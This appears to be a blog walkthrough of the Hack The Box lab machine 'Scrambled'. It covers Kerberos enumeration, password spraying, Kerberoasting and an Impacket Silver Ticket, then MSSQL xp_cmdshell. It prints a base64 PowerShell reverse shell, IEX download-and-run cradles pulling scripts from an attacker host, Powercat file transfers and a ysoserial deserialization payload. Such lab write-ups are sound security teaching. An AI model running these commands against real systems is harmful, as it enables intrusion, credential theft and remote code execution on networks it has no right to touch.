Scrambled - Hack The Box
Tuesday 12th July 2022
This, I have to say, was a pretty challenging box for me. It's also one of my favourites. It has given me a much better understanding of enumerating Kerberos and Windows machines in general, as well as how to use Impacket in a Silver Ticket attack. The .NET decompilation stage to get root was also very cool, so shout out to VBScrub for this machine.
I will admit I did get stuck from time to time, and the kind people over at the Breached forums helped me out - have a read of this thread. As per usual, let's kick things off with a Nmap scan to see what we're working with.
$ nmap -Pn -p- -sV -sC -T scrambled.htb
Not much luck with RPC enumeration, though...
Enumerating The Web App
Taking a look at the site running on port 80 proved to reveal a few useful bits of information. Firstly, if we email the IT address, we can reset a user's password to the username itself.
Secondly, we find out that NTLM authentication is disabled across the domain.
And lastly, we see that there is support documentation for connecting to a service on port 4411 - which also appeared in our Nmap scan... 🤔
Checking out 4411
The only thing I could think of to assess what's going on with port 4411 is to NetCat into it. It seems to be some sort of ordering system which takes bespoke commands, none of which I could figure out! Maybe this is something to come back to later on once we've found another way in.
nc -c scrambled.htb -p 4411
Enumerating Users
I started by running Kerbrute with the 10-mil user list provided by SecLists.
Natively Compile Kerbrute
I'm working in a Kali VM running on an M1 MacBook Pro (arm64), so to get Kerbrute working natively, I had to compile from source. The Impacket version crashes with an Out of Memory panic when using large word lists.
More info can be found over at the GitHub repo.
This didn't prove hugely useful, but it gave me a starting point for a list of usernames. I created the list and then added ksimpson from the website documentation I found earlier.
The full user list:
administrator asmith Administrator jhall sjenkins khicks Asmith ASMITH tstar ksimpson
Brute Force Users
Next, I thought I'd try my luck with a little brute-forcing, seeing if the hint about a password reset to the username turns up anything.
kerbrute passwordspray -d scrm.local --dc scrambled.htb ./users.txt ksimpson
We've got a match! ksimpson:ksimpson
Creating A Ticket
Because we cannot access the server using NTLM, we'll have to generate our Ticket Granting Ticket for ksimpson. This means we can then use Kerberos authentication with other Impacket tools.
getTGT.py scrm.local/ksimpson:ksimpson -dc-ip scrambled.htb
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in ksimpson.ccache
Once we have our ticket, we need to export it so Impacket tools can utilise it.
export KRB5CCNAME=ksimpson.ccache
Now that we can authenticate properly with our TGT, let's try and search for Service Accounts/SPN and see if we get any keys to crack. If you get stuck here with an error around BaseExceptions, take a look at this temporary fix.
GetUserSPNs.py -request scrm.local/ksimpson -k -no-pass -dc-ip scrambled.htb
Voila! We have a key to crack.
Tip: To save time, we could have run GetUserSPNs.py with -outputfile kerbrute-key.txt so we have a textfile ready for john
Let's crack it!
john kerbrute-key.txt /usr/share/wordlists/rockyou.txt
More Enumeration!
Keeping our new sqlsvc credentials aside, let's continue using our new TGT to access the SMB shares.
smbclient.py scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip scrambled.htb -debug -k
SMB Shares
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
It looks like 'Public' is the only share we have access to...
Let's take a look at that PDF...
The key here is the second paragraph, which lets us know that sqlsvc has access to an MSSQL service. Let's try and get access...
Going For Silver
We have credentials for a service account, and we know its full Service Principal Name, so now we can make use of Impackets ticketer.py. To do that, we need the following
NTHash - This is the sqlsvc's password converted to an NTLM hash.
Domain SID - The security identifier of the domain we want to access.
Domain - scrm.local.
Service Principal Name - We can get this from the result of running`GetUserSPNs.py' - MSSQLSvc/dc1.scrm.local.
User Id - 500.
Domain SID
To get the Domain-SID, we can make use of getPac.py, which gets us the Privileged Attribute Certificate for a user. This contains a whole lot more information than we need right now, but at the bottom of the output, you'll find "Domain SID: x"
getPac.py -targetUser ksimpson scrm.local/ksimpson:ksimpson
Domain SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
Understanding SIDs
Here is an excellent article breaking down the different parts of a SID - https://www.itprotoday.com/security/q-what-are-exact-roles-windows-accounts-sid-and-more-specifically-its-rid-windows-security. If you use other tools like secretsdump.py, the SID will have the Relative ID appended (eg, 500). This cannot be on the value passed to ticketer.py, it gets passed using the -user-id parameter.
Also, a list of common SIDs can be found here - https://morgantechspace.com/2013/10/difference-between-rid-and-sid-in.html
NT Hash
This is straightforward, we just need to take the password we crack from the service account and convert it to an NTLM hash. I use https://codebeautify.org/ntlm-hash-generator
B999A16500B87D17EC7F2EXXXXXXXXX
Creating the Ticket
After pulling all that information together, we can generate our Silver Ticket to try and access that MSSQL service!
ticketer.py -nthash B999A16500B87D17EC7F2EXXXXXXXXXX -domain-sid S-1-5-21-2743207045-XXXXXXXXXX-XXXXXXXXXX -domain scrm.local -spn MSSQLSvc/dc1.scrm.local -user-id 500 Administrator
Now that we have a new ticket to use, we need to update our ccache file in use. Note that the "Administrator" filename came from the very last parameter we passed into ticketer.py.
export KRB5CCNAME=Administrator.ccache
Finally, using this ticket and mssqlclient.py we can access the SQL service!
Checking out the loot
Now that we have access to the MSSQl service, let's see what information we can retrieve from the databases available. We'll start at the top and work our way down to any useful info in the tables.
List Databases
select name from master.sys.databases
ScrambedHR seems interesting; let's enumerate that further.
use ScrambledHR
List Tables
select name from information_schema.tables
Print the contents of UserImport
SELECT * from UserImport
We have a new set of credentials now for the MiscSvc! Could we get a shell?
Firstly, let's see if we can take advantage of MSSQL's xp_cmdshell.
enable_xp_cmdshell
Next, since we can get into cmdshell, let's start a NetCat listener to catch our reverse shell.
nc -lnvp 4444
Using a base64 reverse shell generated from revshells.com, we can get a shell as 'sqlsvc'.
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALXXXXXXXXX......
So, as sqlsvc, we don't seem to have access to any of the C:\Shares or can find a user.txt. We do, however, have a new set of account credentials to try...
Lateral movement to MiscSvc
What we can try next is generating another reverse shell from MiscSvc, which should give us some elevated privileges.
Generating new credentials.
We can try to transition to this account to see what it can access. To do this, we can create a new credentials object in PS and then execute a nishang's Invoke-PowerShellTcp.ps1 as MiscSvc.
Create credentials in PowerShell
Creating the credentials.
$password = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $password)
Creating the reverse shell.
nc -lnvp -p 4445
Invoke-Command -Computer dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.XX.XX/Invoke-PowerShellTcp.ps1') } -Credential $creds
Finally, we should have a bit more access to the file system. Have a look in C:\Users\MiscSvc\Desktop for the user.txt
Re-enumeration!
So, MiscSVC has access to a few more SMB shares under C:\Shares. It looks like under IT we can find the EXE running on port 4411. Let's download them using Powercat, and then it's time for a bit of decompilation...
Send & Receive using PowerCat
Create a listener on your machine, then upload Powercat on the target and send over both the DLL and EXE. I didn't try this, but alternatively, `smbserver.py` could have been used to transfer these files over SMB.
Uploading PowerCat
Invoke-WebRequest -Uri "http://10.10.14.121:9090/powercat.ps1" -OutFile pc.ps1
Receiver
nc -l -p 4446 -q 1 > OUTPUT_FILE.EXE < /dev/null
nc -l -p 4446 -q 1 > OUTPUT_FILE.DLL < /dev/null
Note: -q 1 = quit 1 second after a file transfer.
Sender
powercat -c 10.10.XX.XX -p 4446 -i C:\Users\miscsvc\Documents\ScrambleLib.exe
powercat -c 10.10.XX.XX -p 4446 -i C:\Users\miscsvc\Documents\ScrambleLib.dll
Decompiling Time
Using DNSpy on a Windows VM we can decompile the EXE and the DLL that we found on the SMB share. Now we might be able to find out how to interact with the service on port 4411!
Having dug through the EXE and DLL, the DLL contains a few interesting functions. Below is what the `uploadOrder` does, which seems to involve some Deserialisation using .NET's BinaryFormatter.
After doing some research, it looks like we can take advantage of this by using ysoserial to generate a base64 shell, which gets executed when deserialised by the Binary Formatter.
Y So Serial? (.exe)
Let's take advantage of that deserialization using ysoserial and get our last reverse shell.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.XX.XX:8000/Invoke-TcpReverseShell.ps1')"
Take the output from this, and then connect to Port 4411. We can then execute this base64 shell like this:
UPLOAD_ORDER;base64code//////
Voila! We should have another reverse shell as Administrator! At long last, go ahead and dig the root.txt out! 🤗
Where To Next?
If you enjoyed this box, I recommend checking out the HackTheBox Active Directory track. There are also TryHackMe's several AD networks which are excellent.
Enjoy!